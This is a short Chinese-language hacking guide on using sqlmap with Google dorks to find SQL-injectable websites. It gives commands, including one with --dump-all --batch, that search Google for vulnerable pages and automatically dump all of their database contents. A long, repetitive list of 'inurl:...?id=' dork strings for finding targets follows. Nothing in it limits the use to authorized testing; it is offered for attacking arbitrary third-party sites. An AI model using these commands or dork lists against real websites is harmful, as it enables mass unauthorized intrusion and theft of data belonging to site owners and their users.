利用Google Dorks字符串找到可注入的网站
sqlmap.py -g(g即为谷歌的意思) 加上搜索引擎的语言(即google关键字)
使用示例:
1.sqlmap.py -g "inurl:php?id="
2.sqlmap.py -g "inurl:php?id=" --dump-all --batch
google搜索注入点 自动跑出所有字段
`部分关键字(根据自己需要的去使用):
inurl:item_id=`
`
inurl:review.php?id=`
`
inurl:hosting_info.php?id=
inurl:newsid=`
`
inurl:iniziativa.php?in=`
`
inurl:gallery.php?id=
inurl:trainers.php?id=`
`
inurl:curriculum.php?id=`
`
inurl:rub.php?idr=
inurl:news-full.php?id=
inurl:labels.php?id=`
`
inurl:view_faq.php?id=
inurl:news_display.php?getid=`
`
inurl:story.php?id=
inurl:artikelinfo.php?id=
inurl:index2.php?option=`
`
inurl:look.php?ID=`
`
inurl:detail.php?ID=
inurl:readnews.php?id=`
`
inurl:newsone.php?id=`
`
inurl:index.php?=
inurl:top10.php?cat=`
`
inurl:aboutbook.php?id=
inurl:profile_view.php?id=
inurl:newsone.php?id=`
`
inurl:material.php?id=`
`
inurl:category.php?id=
inurl:event.php?id=
inurl:opinions.php?id=`
`
inurl:publications.php?id=
inurl:product-item.php?id=`
`
inurl:announce.php?id=`
`
inurl:fellows.php?id=
inurl:sql.php?id=`
`
inurl:rub.php?idr=`
`
inurl:downloads_info.php?id=
inurl:index.php?catid=`
`
inurl:galeri_info.php?l=`
`
inurl:prod_info.php?id=
inurl:news.php?catid=`
`
inurl:tekst.php?idt=`
`
inurl:shop.php?do=part&id=
inurl:index.php?id=
inurl:newscat.php?id=`
`
inurl:productinfo.php?id=
inurl:news.php?id=`
`
inurl:newsticker_info.php?idn=`
`
inurl:collectionitem.php?id=
inurl:index.php?id=
inurl:rubrika.php?idr=`
`
inurl:band_info.php?id=
inurl:trainers.php?id=`
`
inurl:rubp.php?idr=
inurl:product.php?id=
inurl:buy.php?category=
inurl:offer.php?idf=`
`
inurl:releases.php?id=
inurl:article.php?ID=`
`
inurl:art.php?idm=`
`
inurl:ray.php?id=
inurl:play_old.php?id=`
`
inurl:title.php?id=
inurl:produit.php?id=
inurl:declaration_more.php?decl_id=
inurl:news_view.php?id=
inurl:pop.php?id=
inurl:pageid=`
`
inurl:select_biblio.php?id=
inurl:shopping.php?id=
inurl:games.php?id=
inurl:humor.php?id=
inurl:productdetail.php?id=
inurl:page.php?file=`
`
inurl:aboutbook.php?id=
inurl:post.php?id=
inurl:newsDetail.php?id=`
`
inurl:ogl_inet.php?ogl_id=`
`
inurl:viewshowdetail.php?id=
inurl:gallery.php?id=`
`
inurl:fiche_spectacle.php?id=`
`
inurl:clubpage.php?id=
inurl:article.php?id=`
`
inurl:communique_detail.php?id=
inurl:memberInfo.php?id=
inurl:show.php?id=`
`
inurl:sem.php3?id=`
`
inurl:section.php?id=
inurl:staff_id=
inurl:kategorie.php4?id=`
`
inurl:theme.php?id=
inurl:newsitem.php?num=
inurl:news.php?id=`
`
inurl:page.php?id=
inurl:readnews.php?id=`
`
inurl:index.php?id=
inurl:shredder-categories.php?id=
inurl:top10.php?cat=`
`
inurl:faq2.php?id=`
`
inurl:tradeCategory.php?id=
inurl:historialeer.php?num=
inurl:show_an.php?id=`
`
inurl:product_ranges_view.php?ID=
inurl:reagir.php?num=`
`
inurl:preview.php?id=`
`
inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num=
inurl:loadpsb.php?id=`
`
inurl:transcript.php?id=
inurl:forum_bds.php?num=`
`
inurl:opinions.php?id=`
`
inurl:channel_id=
inurl:game.php?id=`
`
inurl:spr.php?id=`
`
inurl:aboutbook.php?id=
inurl:view_product.php?id=`
`
inurl:pages.php?id=
inurl:preview.php?id=
inurl:newsone.php?id=`
`
inurl:announce.php?id=`
`
inurl:loadpsb.php?id=
inurl:sw_comment.php?id=`
`
inurl:clanek.php4?id=`
`
inurl:pages.php?id=
inurl:news.php?id=`
`
inurl:participant.php?id=`
`
inurl:avd_start.php?avd=`
`
inurl:download.php?id=`
`
inurl:event.php?id=
inurl:main.php?id=`
`
inurl:product-item.php?id=`
`
inurl:review.php?id=`
`
inurl:sql.php?id=`
`
inurl:chappies.php?id=`
`
inurl:material.php?id=`
`
inurl:read.php?id=`
`
inurl:clanek.php4?id=`
`
inurl:prod_detail.php?id=`
`
inurl:announce.php?id=`
`
inurl:viewphoto.php?id=`
`
inurl:chappies.php?id=`
`
inurl:article.php?id=`
`
inurl:read.php?id=`
`
inurl:person.php?id=`
`
inurl:viewapp.php?id=`
`
inurl:productinfo.php?id=`
`
inurl:viewphoto.php?id=
inurl:showimg.php?id=`
`
inurl:rub.php?idr=`
`
inurl:view.php?id=`
`
inurl:galeri_info.php?l=`
`
inurl:website.php?id= `